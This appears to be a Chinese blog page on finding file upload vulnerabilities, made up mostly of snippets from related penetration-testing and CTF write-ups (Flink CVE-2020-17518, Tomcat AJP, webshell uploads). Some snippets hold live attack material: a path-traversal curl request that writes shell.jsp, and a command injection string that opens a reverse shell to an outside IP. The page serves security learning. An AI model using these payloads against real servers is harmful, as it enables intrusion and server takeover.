2020-如何寻找文件上传

最新推荐文章于 2024-04-14 10:07:26 发布
原创 最新推荐文章于 2024-04-14 10:07:26 发布 · 422 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#渗透测试 #信息安全 #文件上传

博客围绕渗透测试和信息安全展开，重点提及文件上传方面的内容，强调在信息技术领域中，文件上传环节存在的安全隐患及渗透测试对保障信息安全的重要性。

[ vulhub漏洞复现篇 ] Apache Flink 文件上传漏洞 (CVE-2020-17518)
qq_51577576的博客
09-05 2604
[ vulhub漏洞复现篇 ] Apache Flink 文件上传漏洞 (CVE-2020-17518) Apache Flink是一个面向数据流处理和批量数据处理的可分布式的开源计算框架。它可以用来做批处理，即处理静态的数据集、历史的数据集；也可以用来做流处理，即实时地处理一些实时数据流，实时地产生数据的结果；也可以用来做一些基于事件的应用；该漏洞允许攻击者利用REST API，并通过精心构造的HTTP Header，实现远程文件写入。
Tomcat Ajp(CVE-2020-1938) 漏洞复现与修复
u011975363的专栏
03-04 9314
前言 2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat文件包含漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。 本文参考链接 漏洞复现 使用docker ...
找不到文件上传的入口
01-06
找不到文件上传的入口。
文件上传查找服务器目录
韩猿外的博客
04-08 710
然后就可以将地址复制到class文件里
Github项目上传/查找教程（二）
GeniusIOTboy的博客
10-17 629
Github下上传 查找项目文件；   1；进入主页     2；点击“upload files”后     1).   可以使用我们的一贯做法，直接将文件脱到页面下   2).   或者点击上传选择文件 选择好文件后，相同的 每次类似操作后，“commits”都会++1;     3；查找文件 输入后自动匹配（不区分大小写）     快...
安鸾渗透实战平台---文件上传01
weixin_50985113的博客
05-15 1167
安鸾渗透实战平台——文件上传01 1、访问 2、找到上传点，全部都试了，就这里可以上传 3、准备木马，并把后缀改成.jpg，因为上传php时提示jpg，所以他应该做了过滤 4、我猜他是前端过滤，我这里抓个包，从数据包中把他的后缀改回来 找到目标 bp监听，浏览器点击上传 改成php 上传成功，这里我们发现了一个黑点，我们试试访问他的地址 找到了上传路径 由于是.php所以直接上蚁剑 连接成功 找到flag.txt 去看看，即可得到flag ...
web文件上传
七水情
11-05 331
一、组织结构创建File_upload_download工程，导入jar,在建立其他文件。二、文件上传所需的jar//文件上传需要依赖的jar commons-fileupload-1.3.1.jar commons-io-2.2.jar //el表达式需要的jar jstl.jar standard.jar三、上传页面部署 单文件 <html> <head> <meta http-equiv="C
dcrcms文件上传(cnvd-2020-27175)
m0_65150886的博客
01-24 1418
稻草人企业站是一款基于PHP+Sqlite/MySQL的开源简单小巧的免费企业网站系统。2.访问http://ip:port/dcr/login.htm，进入登录页面。稻草人企业站1.1.5存在文件上传漏洞，攻击者可利用漏洞获取服务器控制权。1.访问http://ip:port，出现如下页面，开始实验。5.回到后台首页----->添加新闻。7.点击添加新闻，并通过burp抓包。8.在重发器中，修改文件类型，并发包。10.蚁剑连接，getshell。密 码: 123456。4.填写分类名并添加分类。
工具（2020-04-26）.rar
04-26
用户无需额外安装FTP软件，就能直接在MobaXterm中上传、下载、移动或管理远程服务器上的文件，极大地提高了工作效率。这对于频繁进行文件操作的IT从业者来说，无疑是一大福音。 再者，MobaXterm内置了一个简单的...
FireEye 红队失窃工具大揭秘之：分析复现SolarWinds RCE 0day (CVE-2020-10148)
smellycat000的专栏
12-31 1366
聚焦源代码安全，网罗国内外最新资讯！前言最近，全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击，其大量政府客户信息遭越权访问，且红队工具被盗。虽然目前尚不清楚这些红队...
记一次寻找js来文件上传
2301_80115097的博客
03-12 227
html，jpg，txt，png等相关后缀可以进行上传，但进行jsp等相关的后缀并不能成功。如果是白名单，返回的页面只会显示：只能上传jpg，png等相关图片的后缀，但他并没有显示，所以初步判断这里是黑名单，之后进行上传图片马，还有通过空格，.，%00截断，来进行绕过。声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等。
漏洞挖掘（基础篇）
2301_80115097的博客
12-14 928
把json数组中key和valued当作参数传入，此时key就是需要调用的方法，value就是$rs。环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等。，前者是用于加密data数据的密钥，后者是存在密钥的临时文件。在复现某cms漏洞时，尝试审计一下该cms，没想到反转再反转，记录审计一下过程。就转为1，就被删除了，所以正常的payload需要稍加更改，保证。api下的路由是未授权可以直接访问的，然后我们在。我们首先来找找系统解压点，这里我是搜索关键字。
文件上传绕过的一次思路总结（两个上传点组合Getshell）
qax
06-21 3345
这是朋友的一个渗透测试的项目，有个上传的黑名单，我就试了一下，本文章是一遍测试一遍记录的，对于一些知识点总结的不全，只是提供了一个渗透中碰到上传的思路，文章无排版，是笔记的形式做记录。......
1.文件上传漏洞流程
qq_51478862的博客
11-19 1132
上传流程： 1)寻找上传点 网站前台的上传点一般有头像上传、附件上传、证件认证上传。如果通过 SQL注入或者其它一些技术手段得到网站后台权限,一般在网站更新页 面的地方会存在上传点。也可以通过敏感目录或文件扫描工具扫到- -些开 源编辑器的测试上传页面等等。 2)找到上传点之后,先上传一张正常的图片测试该上传点是否可用。 3)上传一张正常的图片，抓包修改文件后缀名为对应网站脚本语言。 该操作可以绕过前端检测、MIME检测、文件内容检测,可以检测出网站 是否对上传文件进行了文件后缀名的检测。 如果上传成功表
常见漏洞挖掘——弱口令（任意文件上传）
weixin_53884648的博客
04-24 1694
常见漏洞挖掘；弱口令进入到任意文件上传。
实战案例-Fofa拿下pikachu服务器保姆级别教程（文件上传下载&webshell）
jnszstmei的博客
04-14 2269
输入127.0.0.1 & 1.exe -e cmd 47.109.189.205 5566（47.109.189.205为自己服务器的ip），拿到服务器的控制权
文件上传到页面（FileUpload）
m0_66740775的博客
08-11 1084
javaweb -servlet
谷歌/FOFA搜索引擎使用
Trave-ler
01-21 4510
谷歌搜索引擎的使用 1.谷歌语法 利用搜索引擎在渗透测试过程搜索到特定页面的一种语法 “xxx” ：将要搜索的关键字用引号括起来（表示完全匹配，即关键词不能分开，顺序也不能变） +：“xxx” +baidu.com 搜索xxx与baidu.com相关的内容 -： “xxx”-baidu.com 搜索结果里面除去baidu.com相关的内容 2.谷歌语法基础使用 site：指定域名，如：site：edu.cn inurl:用于搜索包含的url关键词的网页，如：inurl：login 搜索
flink 文件写入 (CVE-2020-17518)获取flag
最新发布
04-01
### Flink CVE-2020-17518 文件写入漏洞 Flag 获取方式 #### 背景介绍 CVE-2020-17518 是 Apache Flink 的一个高危漏洞，允许攻击者通过修改 HTTP 头部字段来实现任意文件写入。此漏洞影响版本范围为 Apache Flink 1.5.1 至 1.11.2[^3]。 当利用该漏洞时，通常目标是向服务器植入恶意脚本或配置文件以完成进一步渗透测试任务。Flag 获取通常是 CTF 或安全演练中的一个重要环节，其核心在于如何成功执行命令或将特定数据写入指定路径下的文件中。 --- #### 利用过程概述 为了获取 Flag，可以通过以下方式进行： 1. **构建恶意请求** 攻击者需要构造一个带有自定义 `Location` 参数的 POST 请求，用于覆盖默认的目标存储路径。具体来说，`Location` 字段决定了上传文件保存的位置。如果设置成 `/etc/passwd` 或其他敏感文件，则可能引发服务异常；但如果指向临时目录或者 Web 可访问区域，则可用来放置反序列化载荷或其他工具脚本。 下面是一个典型的 curl 命令示例： ```bash curl -X POST http://<target>:8081/jars/upload \ --header 'Content-Disposition: form-data; name="file"; filename="/../../../../../../tmp/shell.jsp"' \ --form file=@"/path/to/malicious_file" ``` 此处需要注意的是，`filename` 属性被篡改为包含多个 `../` 来突破正常沙盒限制，并最终定位至期望的目的地文件夹下[^5]。 2. **验证写入结果** 成功发送上述 payload 后，应立即检查对应位置是否存在预期生成的新文件。例如，在 Linux 平台上尝试读取刚才创建的内容确认是否生效： ```bash cat /tmp/shell.jsp ``` 如果一切顺利的话，应该能看到我们之前提交上去的数据片段。 3. **提取 Flag 数据** 接下来就是寻找实际比赛场景里预埋好的标记字符串了——这一步取决于主办方设计的具体规则以及隐藏形式。一般情况下会嵌套于某些特殊命名模式的日志记录、数据库表项甚至是图片元信息之中。因此建议采用正则表达式扫描整个磁盘分区查找匹配关键字的方式快速锁定答案所在之处： ```python import os def find_flag(directory, keyword): for root, dirs, files in os.walk(directory): for fname in files: fpath = os.path.join(root, fname) try: with open(fpath, errors='ignore') as fp: content = fp.read() if keyword in content: print(f"[+] Found flag at {fpath}") except Exception as e: pass # Example usage find_flag('/mnt', 'flag{') ``` 使用 Python 编写的这段简单函数可以帮助自动化这一繁琐流程，只需调整搜索起点与标志词即可适应不同题目需求[^4]。 --- ### 注意事项 尽管演示过程中展示了多种技术手段辅助解决问题，但在真实世界环境中实施此类行为均属非法入侵范畴，请务必严格遵守法律法规仅限授权范围内开展相关活动！ ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值